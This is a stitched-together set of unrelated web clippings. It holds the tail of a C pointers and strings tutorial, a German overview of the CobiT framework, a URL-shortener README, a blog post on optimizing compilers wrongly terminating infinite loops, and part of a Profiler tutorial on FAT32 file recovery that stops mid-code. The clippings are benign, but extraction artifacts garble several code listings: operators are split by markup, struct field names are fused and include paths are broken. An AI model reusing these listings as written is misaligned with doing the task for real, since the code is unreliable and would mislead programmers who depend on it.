So this function, which is called with no parameters, returns a pointer to a
strcpy-like function:

> strcpy\_ptr = get\_strcpy\_ptr\(\);
Because function pointer syntax is so mind-bending, most developers use
typedefs to abstract them:

> typedef char \*\(\*strcpy\_funcptr\)\(char \*, const char \*\);
> strcpy\_funcptr strcpy\_ptr = strcpy; strcpy\_funcptr
> get\_strcpy\_ptr\(void\);
* * *
## Strings \(and why there is no such thing\)

There is no string type in C.

Now you have two questions:

  1. Why do I keep seeing references to “C strings” everywhere if there is no string type?
  2. What does this have to do with pointers?

The truth is, the concept of a “C string” is imaginary \(except for string
literals\). There is no string type. C strings are really just arrays of
characters:

> char str\[\] = "I am the Walrus";
This array is 16 bytes in length: 15 characters for "I am the Walrus", plus a
NUL \(byte value 0\) terminator. In other words, `str[15]` \(the last
element\) is 0. This is how the end of the “string” is signaled.

This idiom is the extent to which C has a string type. But that's all it is:
an idiom. Except that it is supported by:

  * the aforementioned string literal syntax
  * the string library

The functions in string.h are for string manipulation. But how can that be, if
there is no string type?

Why, they work on pointers.

Here's one possible implementation of the simple function strlen, which
returns the length of a string \(not including the NUL terminator\):

> size\_t strlen\(const char \*str\) \{ Note the pointer syntax here size\_t
> len = 0U; while\(\*\(str++\)\) ++len; return len; \}
Note the use of pointer arithmetic and dereferencing. That's because, despite
the function's name, there is no “string” here; there is merely a pointer to
at least one character, the last one being 0.

Here's another possible implementation:

> size\_t strlen\(const char \*str\) \{ size\_t i; for\(i = 0U; str\[i\];
> ++i\); When the loop exits, i is the length of the string return i; \}
That one uses indexing. Which, as we found out earlier, uses a pointer \(not
an array, and definitely not a string\).

* * *
## Version history

1.3 — 2010-01-13

    
  * Fixed explanation of the relationship between Pointers and const.
  * Added -> as one of the dereference operators in Multiple indirection.
  * Changed improper use of ‘’’ as apostrophe to use proper apostrophes instead. Most fonts still render the apostrophe \(‘'’\) as a straight single quote, but that's not my problem.
  * Corrected discussion of decaying, especially of arrays. Arrays are not pointers.
  * Added two links to the right-left rule for reading C declarations.
  * Corrected the name of the subscript operator \(which I previously referred to as the index operator\).
  * Replaced references to the PowerPC with references to Intel processors. \(Fortunately, no factual changes were necessary.\)
  * Fixed a couple of compilation errors and a few warnings in the sample code \(in addition to the aforementioned array-decaying discussion\).

1.2.2 — 2007-01-08

    
  * Fixed link to the Pointer arithmetic section from the 1.1 section below.
  * Changed the hyphen to an en dash in the year range in the copyright notice \(reference: Chicago Manual of Style\).

1.2.1 — 2006-04-05

    
  * Changed byline from “Mac-arena the Bored Zo” to my real name.

1.2 — 2006-01-19

    
  * Added Function pointers section.
  * Added Pointers and const section.
  * Added note about parentheses in declarators in Declaration syntax.
  * Added that `array == &array == &array[0]` \(i.e. decay is an implicit &\) in Arrays.
  * Smart quotes.
  * Reworded parenthetical about `++x` vs `x++`, at Colin Barrett's suggestion.

1.1 — 2006-01-01

    
  * Added: 
    * Table of contents
    * Assignment section \(describing the action of foo\_ptr = 42\)
    * Declaration syntax section
    * Multiple indirection section
    * C strings section
  * Changed sentences to begin with a capital letter, on feedback that it should be clearer to read that way.
  * Clarified `1 == 4` expression in title, and use of `++`, in “Pointer arithmetic”.
  * Shinier CSS, especially for comments.
  * Added winged-comments \(example\) style.
  * Added diagram in Starting off.
  * Explained array declaration syntax \(as opposed to pointer declaration syntax\) in Arrays.

1.0 — 2005-12-22

    First public release.
* * *
This document is also available in zip format. The previous versions \(1.2.1,
1.2, 1.1, and 1.0\) are also available.

* * *
2010-01-16 http://boredzo.org/pointers |   
---|---

# CobiT - allgemein

**Created:**| _12/19/2011 9:38:14 AM_  
---|---  
**Updated:**| _12/19/2011 9:38:14 AM_  
**Author:**| __  
**Tags:**| _Enterprise_  
  
<img src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/pcs_spacer.gif' width='5' height='1' />|  |  <img src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/pcs_back.gif' width='11' height='10' />ITIL | BSI - Grundschutzhandbuch<img src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/pcs_more.gif' width='11' height='10' />  
---  
# CobiT - allgemein  
| <img
src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/pcs_cat_info.gif'
width='14' height='14' />| <img
src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/pcs_spacer.gif'
width='5' height='5' />| INFO & WISSEN  
---|---|---  
CobiT ist eine Synthese aus 41 Standards aus den Bereichen Kontrolle, IT-
Sicherheit und Qualitätssicherung und bietet für das Management Benchmarks zur
Orientierung an.  
  
CobiT hat 3 Zielgruppen, die dieses Framework unterstützen soll. Das
Management soll unterstützt werden Risiken abzuwägen und Kontrolle über
Investitionen zu behalten. Anwender sollen Gewissheit über die Sicherheit und
Kontrolle über IT-Dienste haben, und Revisoren ihre Meinung bekräftigen bzw.
Hilfestellung für interne Kontrollmechanismen geben.  
  
  
  
## CobiT - Begriffe und Struktur  
IT Governance: Eine Struktur für Beziehungen und Prozesse um eine Organisation
dahingehend zu steuern, die Organisationsziele zu erreichen.  
  
Kontrollen:  
Sind Konzepte, Verfahren, Praktiken und Organisationsstrukturen, welche eine
angemessene Gewissheit verschaffen, dass die Geschäftsziele erreicht und
unerwünschte Ereignisse verhindert, bzw. erkannt und korrigiert werden.  
  
Kontrollziele  
Sind Aussagen zu einem gewünschten Resultat das mit Kontrollen erreicht werden
soll.  
  
Das CobiT-Framework __ definiert detailliert 318 Kontrollziele und Audit -
Richtlinien zu 34 kritischen Prozessen in 4 Domänen: Planung und Organisation;
Beschaffung und Implementation; Betrieb und Support sowie Überwachung; die
einen Lebenszyklus bilden. Das "Implementation Toolset" ist eine Anleitung mit
Tätigkeiten und Checklisten für die Umsetzung in einer Organisation.  
  
Im Framework definiert die Management-Richtlinie, wie gemessen werden kann.
Dazu werden für die einzelnen Prozesse kritische Erfolgsfaktoren, Kernziele,
Leistungsindikatoren und Anzeiger für die Einteilung in das CobiT-
Maturitätsmodell gegeben. Dieses Modell zeigt den Reifegrad von Prozessen an.  
  
Die Kontrollziele definieren für die Prozesse, welche Mindestkontrolle
ausgeübt werden soll um ein bestimmtes Niveau zu erreichen, während die
Auditrichtlinie definiert, wie geprüft werden soll.  
  
  
  
## IT Ressourcen  
Daten: Datenelemente im weitesten Sinn  
  
Anwendungen: Als Anwendung bezeichnet man die Summe manueller und
programmierter Verfahren.  
  
Technologie: Technologie umfasst Hardware, Betriebssysteme,
Datenbankverwaltungssysteme, Netzwerke, usw.  
  
Anlagen: Alle Ressourcen zur Beherbergung und Unterstützung von
Informationssystemen.  
  
Personal: Kenntnisse, Bewusstsein und Produktivität zur Planung, Organisation,
Beschaffung, Ablieferung, Unterstützung und Überwachung von
Informationssystemen und -dienstleistungen.  
  
  
  
## Kriterien für sichere und ordnungsgemäße IT  
CobiT kennt insgesamt 7 Kriterien für sichere und ordnungsgemäße
Informationssysteme  
  
\- die 3 allgemeinen Sicherheitsziele : Vertraulichkeit, Integrität,
Verfügbarkeit,  
  
\- Anforderung and die Ordnungsmäßigkeit, Kriterien der Rechnungslegung:
Zuverlässigkeit und Compliance im Sinne von Einhaltung rechtlicher
Erfordernisse.**  
  
-** Qualitätsanforderungen: Effektivität und Effizienz **  
  
**Zuverlässigkeit bezieht sich auf die Bereitstellung geeigneter Daten, um die
Geschäftseinheit zu betreiben und um dem Management die Ausübung ihrer
Verantwortung zu ermöglichen.  
  
Effektivität bedeutet Wirksamkeit. Die Informationen für einen
Geschäftsprozess sind wichtig und gehören zu ihm und müssen rechtzeitig in
einer fehlerfreien, konsistenten und verwendbaren Form geliefert werden.  
  
Effizienz bedeutet Wirtschaftlichkeit und betrifft die Bereitstellung von
Informationen mit einer optimalen Verwendung von Ressourcen.  
  
  
  
## CobiT - Würfel  
Im CobiT - Würfel wird der Zusammenhang zwischen Prozessen den IT-Ressourcen
sowie den Kriterien verdeutlicht.  
  
  
  
| <img src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/pcs_spacer.gif' width='30' height='5' />|  | <img src='http://www.cryptoshop.com/de/knowledgebase/governance/certification//../../../images/cobitwuerfel_155.jpg' width='155' height='143' />  
---

# noraesae/rin

**Created:**| _7/15/2015 1:36:10 PM_  
---|---  
**Updated:**| _7/15/2015 1:36:10 PM_  
**Author:**| __  
**Tags:**| _web_  
  

# rin

A personal URL shortener using GitHub Pages

## Demo

http://noraesae.github.io/rin/

http://noraesae.github.io/rin/\#gg

http://noraesae.github.io/rin/\#amz

Or my personal one,

http://rin.noraesae.net

## How to use

Fork the repo, and clone it.

[code]

    $ git clone git@github.com:username/rin.git
[/code]

Modify `config.json` and `urls.json`. An example `config.json` is like below.

[code]

    {
      "host": "rin.username.net",
      "repo": "git@github.com:username/rin"
    }
[/code]

The `host` field is optional if you don't want to use a custom domain. If
you'd like to use a custom domain, please don't forget to set the CNAME of the
domain to `username.github.io`. For the detail, please refer to this
documentation.

To build and publish, run following commands.

[code]

    $ node build
    $ open build/index.html # to check the built page
    $ node publish
[/code]

## License

The MIT License \(MIT\)

# Embedded in Academia : C Compilers Disprove Fermat’s Last Theorem

**Created:**| _8/8/2014 10:13:01 AM_  
---|---  
**Updated:**| _8/8/2014 10:13:01 AM_  
**Author:**| __  
**Tags:**| _C programming math_  
  

# C Compilers Disprove Fermat’s Last Theorem

_\[Update: This post doesn't explain the underlying issues very clearly.I
wrote a new post that is better.\]  
_

Obviously I’m not serious: compilers are bad at solving high-level math
problems and also there is good reason to believe this theorem cannot be
disproved. But I’m getting ahead of myself. Recently — for reasons that do not
matter here — I wanted to write C code for an infinite loop, but where the
compiler was not to understand that the loop was infinite. In contrast, if I
had merely written

[code]

     **while (1) { }**
[/code]

[code]

     **for (;;) { }**
[/code]

most optimizing compilers would see the loop’s inability to exit and generate
code accordingly. For example, given this C code:

[code]

    **void foo (void)
      {
        for (;;) { }
        open_pod_bay_doors();
      }**
[/code]

Most compilers will emit something like this:

[code]

    **foo:
        L2: jmp L2**
[/code]

In this case the compiler emits neither the call to open\_pod\_bay\_doors\(\)
nor the final return instruction because both are provably not executed.

Perhaps interestingly, LLVM/Clang recognizes that this slightly obfuscated
infinite loop never exits:

[code]

      **unsigned int i = 0;
      do {
        i+=2;
      } while (0==(i &1));
    **
[/code]

Faced with a loop optimizer that has some brains, I decided to stop messing
around and wrote a loop that should thwart any compiler’s termination
analysis:

[code]

    **const int MAX = 1000;
      int a=1,b=1,c=1;
      while ((c*c*c) != ((a*a*a)+(b*b*b))) {
        a++;
        if (a >MAX) {
          a=1;
          b++;
        }
        if (b>MAX) {
          b=1;
          c++;
        }
        if (c>MAX) {
          c=1;
        }
      }
    **
[/code]

This loop only terminates if it finds a counterexample to a special case of
Fermat’s Last Theorem. Fermat’s Last Theorem, of course, states that no
solution exists for the equation an \+ bn = cn for positive integers a, b, and
c and for integer n>2\. Here n=3 and a,b,c are in the range \[1..1000\]. On a
platform with 32-bit integers 1000 is a reasonable maximum because 2\*10003 is
not much less than 231.

It turns out that when optimizations are enabled, several compilers
\(LLVM/Clang 2.7, Open64-x86 4.2.3, Sun CC 5.10, and Intel CC 11.1.072\) go
ahead and permit this loop to terminate. Specifically, when the loop is
enclosed in a function, the compilers emit x86 assembly which looks something
like this:

[code]

    **fermat:
        ret**
[/code]

The implication, of course, is that the compiler has disproved Fermat’s Last
Theorem. Faced with this incredible mathematical discovery, I held my breath
and added a line of code at the end of the function to print the
counterexample: the values of a, b, and c. Unfortunately, with their bluffs
called in this fashion, all of the compilers emitted code that actually
performed the requested computation, which of course does not terminate. I got
the feeling that these tools — like Fermat himself — had not enough room in
the margin to explain their reasoning.

What is really going on here is that compiler optimizations and termination
analysis have long been at odds. In other words, if compilers were obligated
to preserve the termination properties of the code they translate, they would
be unable to perform \(or would have more difficulty performing\) some of the
optimizations that they use to create efficient code. A choice is being made
by compiler developers — probably consciously, though it’s hard to be sure —
to prefer speed over correctness. The news, however, is not all bad:
Microsoft’s C compiler, the Wind River Diab C compiler, and several versions
of GCC all did the right thing, changing the termination properties of none of
the examples I tried.

**Update from Sat 5/1:** It turns out the LLVM folks have been working on this
problem lately and their latest SVN now does not contain this bug. Very nice\!

**Update from Sat 5/1:** Someone on Reddit noticed \(and one of my students
confirmed\) that the Microsoft compilers do have termination bugs. The
compilers in both Visual Studio 2008 and 2010 generate code for the Fermat
function, but then calls to this function are dropped because it is believed
to be free of side effects \(this was exactly what LLVM did before they fixed
the problem\).

# Update from Friday 4/30

I’ll try to clarify a few of the questions that have come up on Reddit and in
the comments here. Also I fixed a mistake in the statement of Fermat’s Last
Theorem that someone on Reddit pointed out. Thanks\!

**Q: Does this actually matter at all?  
**

**A:** Yes, but in very specialized situations that usually only come up when
developing embedded software. One example is described here: the poster wants
the program being simulated to hang when main\(\) exits, but LLVM deletes the
loop that was intended to hang up the processor. The workaround was to compile
the code with optimizations turned off. Another example happens when an
embedded system has updated its firmware and wants to do nothing until the
watchdog timer reboots the processor into the new version. It’s no coincidence
that gcc and the Wind River C compiler — both of which are heavily used in the
embedded world — get termination right.

**Q: Since infinite loops are bad style, isn’t it OK for the compiler to
terminate them? Shouldn’t people be putting the CPU to sleep, blocking the
running thread, or whatever?**

**A:** First, not all programs have an operating system or even a threading
system to call out to. Embedded software commonly runs on the bare metal.
Second, the meaning of a program is defined by the language standard and style
has nothing to do with it. See my earlier post The Compiler Doesn’t Care About
Your Intent.

**Q: Does the C standard permit/forbid the compiler to terminate infinite
loops?**

**A:** The compiler is given considerable freedom in how it implements the C
program, but its output must have the same externally visible behavior that
the program would have when interpreted by the “C abstract machine” that is
described in the standard. Many knowledgeable people \(including me\) read
this as saying that the termination behavior of a program must not be changed.
Obviously some compiler writers disagree, or else don’t believe that it
matters. The fact that reasonable people disagree on the interpretation would
seem to indicate that the C standard is flawed. In contrast, the Java language
definition is quite clear that infinite loops may not be terminated by the
JVM.

**Q: Are you saying the compiler should do termination analysis? That’s
impossible by trivial reduction to the halting problem.**

**A:** Termination analysis does not need to be part of the compiler at all.
However, I \(and others\) would claim that the compiler should perform a
termination analysis of any useless loop before deleting it. Although the
general problem is not computable, many specific instances can be easily
solved.

**Q: Does the Fermat code in this post execute any signed integer overflows or
other undefined behaviors?**

**A:** I don’t believe so.

# Update from Saturday 5/1

**Q: Didn’t you know Fermat’s Last Theorem was proved in 1995?**

**A:** I did know that. Since I got my math degree in 1995, it would have been
very difficult for me to miss this event :\). I was making a weak joke and
also referring to the fact that proofs, especially complicated ones, can
contain errors. In fact, as someone noted in the comments, Wiles’ initial
proof was wrong. Also note that the n=3 special case was proved much earlier,
in 1770.

**Q: What’s the best workaround if you really want an infinite loop in C?**

**A:** As several people have pointed out, looping on a volatile-qualified
variable is probably the best choice. But keep in mind that compilers don’t
always respect volatile….

# One more update from Saturday 5/1

Here’s a fun complete program that is more compelling than the code above
because it explicitly uses a return value from the “theorem disproved” branch
of the code:

[code]

    **int fermat (void)
    {
      const int MAX = 1000;
      int a=1,b=1,c=1;
      while (1) {
        if (((a*a*a) == ((b*b*b)+(c*c*c)))) return 1;
        a++;
        if (a >MAX) {
          a=1;
          b++;
        }
        if (b>MAX) {
          b=1;
          c++;
        }      
        if (c>MAX) {
          c=1;
        }
      }
      return 0;
    }
    
    #include <stdio.h>
    
    int main (void)
    {
      if (fermat()) {
        printf ("Fermat's Last Theorem has been disproved.\n");
      } else {******printf ( "Fermat's Last Theorem has not been disproved.\n");****
      **}****return 0;
    }**
[/code]

Here’s what the Intel and Sun compilers have to say:

[code]

    **regehr@john-home:~$ icc fermat2.c -o fermat2
    regehr@john-home:~$ ./fermat2
    Fermat's Last Theorem has been disproved.
    regehr@john-home:~$ suncc -O fermat2.c -o fermat2 "fermat2.c", line 20: warning: statement not reached
    regehr@john-home:~$ ./fermat2
    Fermat's Last Theorem has been disproved.**
[/code]

Open64-x86 and LLVM/Clang 2.7 have the same behavior. Although plenty of folks
in the peanut gallery disagree, it seems perfectly clear to me that this is a
serious error in these compilers. I mean, why return 1? Is that worse or
better than returning 0? Neither result makes any sense.

Posted by regehr on Wednesday, April 28, 2010, at 9:19 pm. Filed under
Computer Science, Software Correctness. Follow any responses to this post with
its comments RSS feed. Both comments and trackbacks are currently closed.

# Raw File System Analysis \(FAT32 File Recovery\) | Cerbero Blog
**Created:**| _10/29/2013 12:44:47 PM_  
---|---  
**Updated:**| _10/29/2013 12:49:03 PM_  
**Author:**| __  
**Tags:**| _Forensics windows environment Filesystem filesystems recovery_  
  

# **R** aw File System Analysis \(FAT32 File Recovery****\)

This post isn’t about upcoming features, it’s about things you can already do
with Profiler**.** What we’ll see is how to import structures used for file
system analysis from C/C++ sources, use them to analyze raw hex data, create a
script to do the layout work for us in the future and at the end we’ll see how
to create a little utility to recover deleted files**.** The file system used
for this demonstration is FAT32, which is simple enough to avoid making the
post too long**.**

Note: Before starting you might want to update**.** The 1.0.1 version is out
and contains few small fixes. Among them the ‘signed char’ type wasn’t
recognized by the CFFStruct internal engine and the FAT32 structures I
imported do use it**.** While ‘signed char’ may seem redundant, it does make
sense, since C compilers can be instructed to treat char types as
unsigned**.**

## Import file system structures****

Importing file system structures from C/C++ sources is easy thanks to the
Header Manager tool**.** In fact, it took me less than 30 minutes to import
the structures for the most common file systems from different code bases**.**
Click here to download the archive with all the headers**.**

Here’s the list of headers I have created:

  * ext – ext2/3/4 imported from FreeBSD
  * ext2 – imported from Linux
  * ext3 – imported from Linux
  * ext4 – imported from Linux
  * fat – imported from FreeBSD
  * hfs – imported from Darwin
  * iso9660 – imported from FreeBSD
  * ntfs – imported from Linux
  * reiserfs – imported from Linux
  * squashfs – imported from Linux
  * udf – imported from FreeBSD

Copy the files to your user headers directory \(e**.** g**.**
“AppData\Roaming\CProfiler\headers”\). It’s better to not put them in a sub-
directory**.** Please note that apart from the FAT structures, none of the
others have been tried out**.**

Note: Headers created from Linux sources contain many additional structures,
this is due to the includes in the parsed source code**.** This is a bit ugly:
in the future it would be a good idea to add an option to import only
structures belonging to files in a certain path hierarchy and those referenced
by them**.**

Since this post is about FAT, we’ll see how to import the structures for this
particular file system**.** But the same steps apply for other file systems as
well and not only for them**.** If you’ve never imported structures before,
you might want to take a look at this previous post about dissecting an ELF
and read the documentation about C++ types**.**

We open the Header Manager and configure some basic options like ‘OS’,
‘Language’ and ‘Standard’**.** In this particular case I imported the
structures from FreeBSD, so I just set ‘freebsd’, ‘c’ and ‘c11′**.** Then we
need to add the header paths, which in my case were the following:

[code]

    C:/Temp/freebsd-master
    C:/Temp/freebsd-master/include
    C:/Temp/freebsd-master/sys
    C:/Temp/freebsd-master/sys/x86
    C:/Temp/freebsd-master/sys/i386/include
    C:/Temp/freebsd-master/sys/i386
    
[/code]  
---  
Then in the import edit we insert the following code:

[code]

    HEADER_START("fat");
     
    #include <sys/types**.** h>
    #include <sys/fs/msdosfs/bootsect.h>
    #include <sys/fs/msdosfs/denode.h>
    #include <sys/fs/msdosfs/direntry**.** h>
    #include <sys/fs/msdosfs/bpb.h>
    
[/code]  
---  
Now we can click on ‘Import’**.**

<img src='img/Temp2_6761.png' alt='Import FAT structures' />

That’s it**\!** We now have all the FAT structures we need in the ‘fat’ header
file**.**

It should also be mentioned that I modified some fields of the **direntry**
structure from the Header Manager, because they were declared as byte arrays,
but should actually be shown as short and int values**.**

## Parse the Master Boot Record****

Before going on with the FAT analysis, we need to briefly talk about the
MBR**.** FAT partitions are usually found in a larger container, like a
partitioned device**.**

To perform my tests I created a virtual hard-disk in Windows 7 and formatted
it with FAT32**.**

<img src='img/Temp2_6768.png' alt='VHD MBR' />

As you might be able to spot, the VHD file begins with a MBR**.** In order to
locate the partitions it is necessary to parse the MBR first**.** The format
of the MBR is very simple and you can look it up on Wikipedia **.** In this
case we’re only interested in the start and size of each partition**.**

Profiler doesn’t yet support the MBR format, although it might be added in the
future**.** In any case, it’s easy to add the missing feature: I wrote a small
hook which parses the MBR and adds the partitions as embedded objects**.**

Here’s the cfg data:

[code]

    [GenericMBR]
    label = Generic MBR Partitions
    file = generic_mbr**.** py
    scanning = scanning
    
[/code]  
---  
And here’s the Python script:

[code]

    def scanning(sp, ud):
        # make sure we're at the first level and that the format is unknown
        if sp.scanNesting() **!** = 0 or sp.getObjectFormat() != "":
            return
        # check boot signature
        obj = sp.getObject()
        bsign = obj.Read(0x1FE, 2)
        if len(bsign) **!** = 2 or bsign[0] != 0x55 or bsign[1] != 0xAA:
            return
        # add partitions
        for x in range(4):
            entryoffs = 0x1BE + (x * 0x10)
            offs, ret = obj.ReadUInt32(entryoffs + 8)
            size, ret = obj.ReadUInt32(entryoffs + 12)
            if offs **!** = 0 and size != 0:
                sp.addEmbeddedObject(offs * 512, size * 512, "**?** ", "Partition #" + str(x + 1))
    
[/code]  
---  
And now we can inspect the partitions directly \(do not forget to enable the
hook from the extensions\)**.**

<img src='img/Temp2_6767.png' alt='VHD Partitions' />

Easy**.**

## Analyze raw file system data****

The basics of the FAT format are quite simple to describe**.** The data begins
with the boot sector header and some additional fields for FAT32 over FAT16
and for FAT16 over FAT12**.** We’re only interested in FAT32, so to simplify
the description I will only describe this particular variant**.** The boot
sector header specifies essential information such as sector size, sectors in
clusters, number of FATs, size of FAT etc**.** It also specifies the number of
reserved sectors. These reserved sectors start with the boot sector and where
they end the FAT begins**.**

The ‘FAT’ in this case is not just the name of the file system, but the File
Allocation Table itself**.** The size of the FAT, as already mentioned, is
specified in the boot sector header**.** Usually, for data-loss prevention,
more than one FAT is present**.** Normally there are two FATs: the number is
specified in the boot sector header**.** The backup FAT follows the first one
and has the same size**.** The data after the FAT\(s\) and right until the end
of the partition includes directory entries and file data**.** The cluster
right after the FAT\(s\) usually starts with the Root Directory entry, but
even this is specified in the boot sector header**.**

The FAT itself is just an array of 32-bit indexes pointing to clusters**.**
The first 2 indexes are special: they specify the range of EOF values for
indexes**.** It works like this: a directory entry for a file \(directories
and files share the same structure\) specifies the first cluster of said file,
if the file is bigger than one cluster, the FAT is looked up at the index
representing the current cluster, this index specifies the next cluster
belonging to the file**.** If the index contains one of the values in the EOF
range, the file has no more clusters or perhaps contains a damaged cluster
\(0xFFFFFFF7\)**.** Indexes with a value of zero are marked as free. Cluster
index are 2-based: cluster 2 is actually cluster 0 in the data region**.**
This means that if the Root Directory is specified to be located at cluster 2,
it is located right after the FATs**.**

Hence, the size of the FAT depends on the size of the partition, and it must
be big enough to accommodate an array large enough to represent every cluster
in the data area**.**

So, let’s perform our raw analysis by adding the boot sector header and the
additional FAT32 fields:

<img src='img/Temp2_6762.png' alt='Add struct' />

Note: When adding a structure make sure that it’s packed to 1, otherwise field
alignment will be wrong**.**

<img src='img/Temp2_6770.png' alt='Boot sector' />

Then we highlight the FATs**.**

<img src='img/Temp2_6760.png' alt='FATs' />

And the Root Directory entry**.**

<img src='img/Temp2_6765.png' alt='Root Directory' />

This last step was just for demonstration, as we’re currently not interested
in the Root Directory**.** Anyway, now we have a basic layout of the FAT to
inspect and this is useful**.**

Let’s now make our analysis applicable to future cases**.**

## Automatically create an analysis layout****

Manually analyzing a file is very useful and it’s the first step everyone of
us has to do when studying an unfamiliar file format**.** However, chances are
that we have to analyze files with the same format in the future**.**

That’s why we could write a small Python script to create the analysis layout
for us**.** We’ve already seen how to do this in the post about dissecting an
ELF **.**

Here’s the code:

[code]

    from Pro.Core import *
    from Pro**.** UI import *
     
    def buildFATLayout(obj, l):
        hname = "fat"
        hdr = CFFHeader()
        if hdr.LoadFromFile(hname) == False:
            return
        sopts = CFFSO_VC | CFFSO_Pack1
        d = LayoutData()
        d.setTypeOptions(sopts)
     
        # add boot sector header and FAT32 fields
        bhdr = obj.MakeStruct(hdr, "bootsector", 0, sopts)
        d.setColor(ntRgba(0, 170, 255, 70))
        d.setStruct(hname, "bootsector")
        l.add(0, bhdr.Size(), d)
        bexhdr = obj.MakeStruct(hdr, "bpb710", 0xB, sopts)
        d.setStruct(hname, "bpb710")
        l.add(0xB, bexhdr.Size(), d)
     
        # get FAT32 info
        bytes_per_sec = bexhdr.Num("bpbBytesPerSec")
        sec_per_clust = bexhdr.Num("bpbSecPerClust")
        res_sect = bexhdr.Num("bpbResSectors")
        nfats = bexhdr.Num("bpbFATs")
        fat_sects = bexhdr.Num("bpbBigFATsecs")
        root_clust = bexhdr.Num("bpbRootClust")
        bytes_per_clust = bytes_per_sec * sec_per_clust
     
        # add FAT intervals, highlight copies with a different color
        d2 = LayoutData()
        d2.setColor(ntRgba(255, 255, 127, 70))
        fat_start = res_sect * bytes_per_sec
        fat_size = fat_sects * bytes_per_sec
        d2.setDescription("FAT1")
        l.add(fat_start, fat_size, d2)
        # add copies
        d2.setColor(ntRgba(255, 170, 127, 70))
        for x in range(nfats - 1):
            fat_start = fat_start + fat_size
            d2.setDescription("FAT" + str(x + 2))
            l.add(fat_start, fat_size, d2)
        fat_end = fat_start + fat_size
     
        # add root directory
        rootdir_offs = (root_clust - 2) + fat_end
        rootdir = obj.MakeStruct(hdr, "direntry", rootdir_offs, sopts)
        d.setStruct(hname, "direntry")
        d.setDescription("Root Directory")
        l.add(rootdir_offs, rootdir.Size(), d)
     
     
    hv = proContext().getCurrentView()
    if hv.isValid() and hv.type() == ProView.Type_Hex:
        c = hv.getData()
        obj = CFFObject()
        obj.Load(c)
        lname = "FAT_ANALYSIS" # we could make the name unique
        l = proContext().getLayout(lname) 
        buildFATLayout(obj, l)
        # apply the layout to the current hex view
        hv.setLayoutName(lname)
    
[/code]  
---  
We can create an action with this code or just run it on the fly with
Ctrl+Alt+R**.**

## Recover deleted files****

Now that we know where the FAT is located and where the data region begins, we
can try to recover deleted files**.** There’s more than one possible approach
to this task \(more on that later\)**.** What I chose to do is to scan the
entire data region for file directory entries and to perform integrity checks
on them, in order to establish that they really are what they seem to be**.**

Let’s take a look at the original direntry structure:

[code]

    struct direntry {
    u_int8_tdeName[11];/* filename, blank filled */
    #defineSLOT_EMPTY0x00/* slot has never been used */
    #defineSLOT_E50x05/* the real value is 0xe5 */
    #defineSLOT_DELETED0xe5/* file in this slot deleted */
    u_int8_tdeAttributes;/* file attributes */
    #defineATTR_NORMAL0x00/* normal file */
    #defineATTR_READONLY0x01/* file is readonly */
    #defineATTR_HIDDEN0x02/* file is hidden */
    #defineATTR_SYSTEM0x04/* file is a system file */
    #defineATTR_VOLUME0x08/* entry is a volume label */
    #defineATTR_DIRECTORY0x10/* entry is a directory name */
    #defineATTR_ARCHIVE0x20/* file is new or modified */
    u_int8_tdeLowerCase;/* NT VFAT lower case flags */
    #defineLCASE_BASE0x08/* filename base in lower case */
    #defineLCASE_EXT0x10/* filename extension in lower case */
    u_int8_tdeCHundredth;/* hundredth of seconds in CTime */
    u_int8_tdeCTime[2];/* create time */
    u_int8_tdeCDate[2];/* create date */
    u_int8_tdeADate[2];/* access date */
    u_int8_tdeHighClust[2];/* high bytes of cluster number */
    u_int8_tdeMTime[2];/* last update time */
    u_int8_tdeMDate[2];/* last update date */
    u_int8_tdeStartCluster[2]; /* starting cluster of file */
    u_int8_tdeFileSize[4];/* size of file in bytes */
    };
    
[/code]  
---  
Every directory entry has to be aligned to 0×20**.** If the file has been
deleted the first byte of the **deName** field will be set to
**SLOT\_DELETED** \(0xE5\)**.** That’s the first thing to check**.** The
directory name should also not contain certain values like 0×00**.** According
to Wikipedia, the following values aren’t allowed:

  * ” \* / : < > **?** \ |  
Windows/MS-DOS has no shell escape character

  * \+ , **.** ; = \[ \]  
They are allowed in long file names only**.**

  * Lower case letters a–z  
Stored as A–Z**.** Allowed in long file names**.**

  * Control characters 0–31
  * Value 127 \(DEL\)

We can use these rules to validate the short file name**.** Moreover, certain
directory entries are used only to store long file names:

[code]

    /*
     * Structure of a Win95 long name directory entry
     */
    struct winentry {
    u_int8_tweCnt;
    #defineWIN_LAST0x40
    #defineWIN_CNT0x3f
    u_int8_twePart1[10];
    u_int8_tweAttributes;
    #defineATTR_WIN950x0f
    u_int8_tweReserved1;
    u_int8_tweChksum;
    u_int8_twePart2[12];
    u_int16_tweReserved2;
    u_int8_twePart3[4];
    };
    
[/code]  
---  
We can exclude these entries by making sure that the **deAttributes**
/**weAttributes** isn’t **ATTR\_WIN95** \(0xF\)**.**

Once we have confirmed the integrity of the file name and made sure it’s not a
long file name entry, we can validate the **deAttributes****.** It should
definitely not contain the flags **ATTR\_DIRECTORY** \(0×10\) and
**ATTR\_VOLUME** \(8\)**.**

Finally we can make sure that **deFileSize** isn’t 0 and that **deHighClust**
combined with **deStartCluster** contains a valid cluster index**.**

It’s easier to write the code than to talk about it**.** Here’s a small
snippet which looks for deleted files and prints them to the output view:

[code]

    from Pro.Core import *
     
    class FATData(object):
        pass
     
    def setupFATData(obj):
        hdr = CFFHeader()
        if hdr.LoadFromFile("fat") == False:
            return None
        bexhdr = obj.MakeStruct(hdr, "bpb710", 0xB, CFFSO_VC | CFFSO_Pack1)
        fi = FATData()
        fi.obj = obj
        fi.hdr = hdr
        # get FAT32 info
        fi.bytes_per_sec = bexhdr.Num("bpbBytesPerSec")
        fi.sec_per_clust = bexhdr.Num("bpbSecPerClust")
        fi.res_sect = bexhdr.Num("bpbResSectors")
        fi.nfats = bexhdr.Num("bpbFATs")
        fi.fat_sects = bexhdr.Num("bpbBigFATsecs")
        fi.root_clust = bexhdr.Num("bpbRootClust")
        fi.bytes_per_clust = fi.bytes_per_sec * fi.sec_per_clust
        fi.fat_offs = fi.res_sect * fi.bytes_per_sec
        fi.fat_size = fi.fat_sects * fi.bytes_per_sec
        fi.data_offs = fi.fat_offs + (fi.fat_size * fi.nfats)
        fi.data_size = obj.GetSize() - fi.data_offs
        fi.data_clusters = fi.data_size // fi.bytes_per_clust
        return fi
     
    invalid_short_name_chars = [
        127,
